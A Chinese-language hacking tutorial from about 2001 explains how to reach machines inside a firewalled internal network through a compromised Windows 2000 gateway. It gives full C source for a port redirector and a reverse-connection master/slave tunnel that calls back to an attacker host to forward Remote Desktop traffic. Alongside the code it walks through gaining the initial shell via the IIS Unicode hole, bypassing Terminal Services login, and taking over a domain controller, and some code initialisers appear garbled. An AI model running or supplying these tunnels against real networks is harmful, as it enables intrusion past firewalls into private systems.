怎样突破TCP-IP过滤防火墙进入内网
现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。
也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。
Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。
第一部分:利用TCP socket数据转发进入没有防火墙保护的内网
假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。
我们的目标是连接上敌人内网的Terminal
Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。
攻击流程如下:
<1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。
<2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。
<3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]
<4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)
程序代码如下:
/**********************************************************************
Module Name:AgentGateWay.c
Date:2001/4/15
CopyRight(c) eyas
说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,
就可以进入内网了
sock[0]==>sClient sock[1]==>sTarget
**********************************************************************/
#include
#include
#include "TCPDataRedird.c"
#define TargetIP TEXT("192.168.1.3")
#define TargetPort (int)3389
#define ListenPort (int)3389//监听端口
#pragma comment(lib,"ws2_32.lib")
int main()
{
WSADATA wsd;
SOCKET sListen=INVALID_SOCKET,//本机监听的socket
sock[2];
struct sockaddr_in Local,Client,Target;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sListen==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
Local.sin_addr.s_addr=htonl(INADDR_ANY);
Local.sin_family=AF_INET;
Local.sin_port=htons(ListenPort);
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
if(bind(sListen,(struct sockaddr
*)&Local,sizeof(Local))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
if(listen(sListen,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//scoket循环
while(1)
{
printf("\n\n*************Waiting Client Connect
to**************\n\n");
iAddrSize=sizeof(Client);
//get socket sClient
sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),
ntohs(Client.sin_port));
//create socket sTarget
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//connect to target port
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("\nconnect() failed:%d",GetLastError());
__leave;
}
printf("\nconnect to target 3389 success!");
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
WaitForSingleObject(hThreadT2C,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[1]);
closesocket(sock[0]);
printf("\n\n*****************Connection
Close*******************\n\n");
}//end of sock外循环
}//end of try
__finally
{
if(sListen!=INVALID_SOCKET) closesocket(sListen);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/*************************************************************************
Module:TCPDataRedird.c
Date:2001/4/16
CopyRight(c) eyas
HomePage:www.patching.net
Thanks to shotgun
说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget
*************************************************************************/
#define BuffSize 20*1024 //缓冲区大小20k
//此函数负责从Client读取数据,然后转发给Target
DWORD WINAPI TCPDataC2T(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
char szSendToTargetBuff[BuffSize]=,
szRecvFromClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
printf("\n\n*****************Connection
Active*******************\n\n");
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdread);
FD_SET(sock[1],&fdwrite);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("\nselect() failed:%d",GetLastError());
break;
}
//printf("\nselect() return value ret=%d",ret);
if(ret>0)
{
//sClinet可读,client有数据要发送过来
if(FD_ISSET(sock[0],&fdread))
{
//接收sock[0]发送来的数据
iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("\nrecv() from sock[0] failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("\nrecv %d bytes from sClinet.",iRet);
//把从client接收到的数据存添加到发往target的缓冲区
memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);
//刷新发往target的数据缓冲区当前buff大小
iSTTBCS+=iRet;
//清空接收client数据的缓冲区
memset(szRecvFromClientBuff,0,BuffSize);
}
//sTarget可写,把从client接收到的数据发送到target
if(FD_ISSET(sock[1],&fdwrite))
{
//转发数据到target的3389端口
iLeft=iSTTBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("\nsend() to target failed:%d",GetLastError());
break;
}
printf("\nsend %d bytes to target",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空缓冲区
memset(szSendToTargetBuff,0,BuffSize);
//重置发往target的数据缓冲区当前buff大小
iSTTBCS=0;
}
}//end of select ret
Sleep(1);
}//end of data send & recv循环
return 0;
}
//此函数负责从target读取数据,然后发送给client
DWORD WINAPI TCPDataT2C(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize
char szRecvFromTargetBuff[BuffSize]=,
szSendToClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
while(1)
{
FD_ZERO(&fdread);
FD_ZERO(&fdwrite);
FD_SET(sock[0],&fdwrite);
FD_SET(sock[1],&fdread);
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
{
printf("\nselect() failed:%d",GetLastError());
break;
}
if(ret>0)
{
//sTarget可读,从target接收数据
if(FD_ISSET(sock[1],&fdread))
{
//接收target返回数据
iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);
if(iRet==SOCKET_ERROR)
{
printf("\nrecv() from target failed:%d",GetLastError());
break;
}
else if(iRet==0)
break;
printf("\nrecv %d bytes from target",iRet);
//把从target接收到的数据添加到发送到client的缓冲区
memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);
//清空接收target返回数据缓冲区
memset(szRecvFromTargetBuff,0,BuffSize);
//刷新发送到client的数据缓冲区当前大小
iSTCBCS+=iRet;
}
//client可写,发送target返回数据到client
if(FD_ISSET(sock[0],&fdwrite))
{
//发送target返回数据到client
iLeft=iSTCBCS;
idx=0;
while(iLeft>0)
{
iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);
if(iRet==SOCKET_ERROR)
{
printf("\nsend() to Client failed:%d",GetLastError());
break;
}
printf("\nsend %d bytes to Client",iRet);
iLeft-=iRet;
idx+=iRet;
}
//清空缓冲区
memset(szSendToClientBuff,0,BuffSize);
iSTCBCS=0;
}
}//end of select ret
Sleep(1);
}//end of while
return 0;
}
利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网
事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:
上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。
〈1〉我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。
〈2〉敌人[其实是friend啦]的网关OS是2k adv
server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。
攻击流程如下:
〈1〉在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。
〈2〉在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]
〈3〉我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389
〈4〉敌人网关上的AgentSlave连接到自己本身在内网的IP==〉192.168.1.1:3389
〈5〉数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。
后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。
程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的:
/******************************************************************************
Module Name:AgentMaster.c
Date:2001/4/16
CopyRight(c) eyas
说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个
scoket都连接成功后,开始转发数据
sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]
******************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetPort 3389//伪装的target的监听端口
#define LocalPort 12345//等待AgentSlave来connect的端口
int main()
{
WSADATA wsd;
SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接
s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接
sock[2]=;
struct sockaddr_in Local3389,Local1981,Attack,Slave;
int iAddrSize;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
//load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
//create socket
s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s3389==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//create socket
s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(s1981==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//fill the struct
Local3389.sin_addr.s_addr=htonl(INADDR_ANY);
Local3389.sin_family=AF_INET;
Local3389.sin_port=htons(TargetPort);
Local1981.sin_addr.s_addr=htonl(INADDR_ANY);
Local1981.sin_family=AF_INET;
Local1981.sin_port=htons(LocalPort);
//bind s3389 for attacker
if(bind(s3389,(struct sockaddr
*)&Local3389,sizeof(Local3389))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
//listen for attacker to connect
if(listen(s3389,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//bind s1981 for AgentSlave
if(bind(s1981,(struct sockaddr
*)&Local1981,sizeof(Local1981))==SOCKET_ERROR)
{
printf("\nbind() failed:%d",GetLastError());
__leave;
}
//listen for AgentSlave to connect
if(listen(s1981,1)==SOCKET_ERROR)
{
printf("\nlisten() failed:%d",GetLastError());
__leave;
}
//socket循环
while(1)
{
//wait for AgentSlave to connect
iAddrSize=sizeof(Slave);
sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);
if(sock[1]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr),
ntohs(Slave.sin_port));
//wait for Attacker to connect
iAddrSize=sizeof(Attack);
sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);
if(sock[0]==INVALID_SOCKET)
{
printf("\naccept() failed:%d",GetLastError());
break;
}
printf("\nAccept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr),
ntohs(Attack.sin_port));
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of socket while
}//end of try
__finally
{
//clean all
if(s3389!=INVALID_SOCKET) closesocket(s3389);
if(s1981!=INVALID_SOCKET) closesocket(s1981);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/***********************************************************************************
Module:AgentSlave.c
Date:2001/4/17
Copyright(c)eyas
HomePage:www.patching.net
说明:这个程序负责连接最终目标,连接主控端,然后转发数据
这里连接到AgenrMaster的socket相当与sClient==〉sock[0],
连接到最终目标的socoket是sTarget==〉sock[1]
***********************************************************************************/
#include 〈stdio.h〉
#include 〈winsock2.h〉
#include "TCPDataRedird.c"
#pragma comment(lib,"ws2_32.lib")
#define TargetIP "192.168.1.3"
#define TargetPort (int)3389
#define AgentMasterIP "202.1.1.1"
#define AgentMasterPort (int)12345
int main()
{
WSADATA wsd;
SOCKET sock[2]=;
struct sockaddr_in Master,Target;
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget
hThreadT2C=NULL;//T2C=TargetToClient
DWORD dwThreadID;
__try
{
//load winsock library
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
{
printf("\nWSAStartup() failed:%d",GetLastError());
__leave;
}
//循环
while(1)
{
//create client socket
sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[0]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//create target socket
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock[1]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//fill struct
Target.sin_family=AF_INET;
Target.sin_addr.s_addr=inet_addr(TargetIP);
Target.sin_port=htons(TargetPort);
Master.sin_family=AF_INET;
Master.sin_addr.s_addr=inet_addr(AgentMasterIP);
Master.sin_port=htons(AgentMasterPort);
//connect to AgentMaster
if(connect(sock[0],(struct sockaddr
*)&Master,sizeof(Master))==SOCKET_ERROR)
{
//连接失败后,等待一会儿再连
printf("\nconnect() to master failed:%d",GetLastError());
closesocket(sock[0]);
closesocket(sock[1]);
Sleep(5000);
continue;
}
printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);
//connect to target
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("\nconnect() to target failed:%d",GetLastError());
__leave;
}
printf("\nconnect to %s %d success!",TargetIP,TargetPort);
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[0]);
closesocket(sock[1]);
}//end of while
}//end of try
__finally
{
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}